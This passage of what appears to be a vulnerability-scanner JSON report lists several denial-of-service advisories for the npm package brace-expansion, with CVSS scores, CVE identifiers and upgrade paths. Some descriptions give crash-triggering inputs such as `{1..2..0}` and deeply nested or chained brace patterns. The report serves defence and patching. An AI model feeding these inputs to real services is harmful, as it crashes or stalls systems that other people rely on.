"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmaccess@9.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmaccess@9.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmaccess@9.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmhook@11.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmhook@11.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmhook@11.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
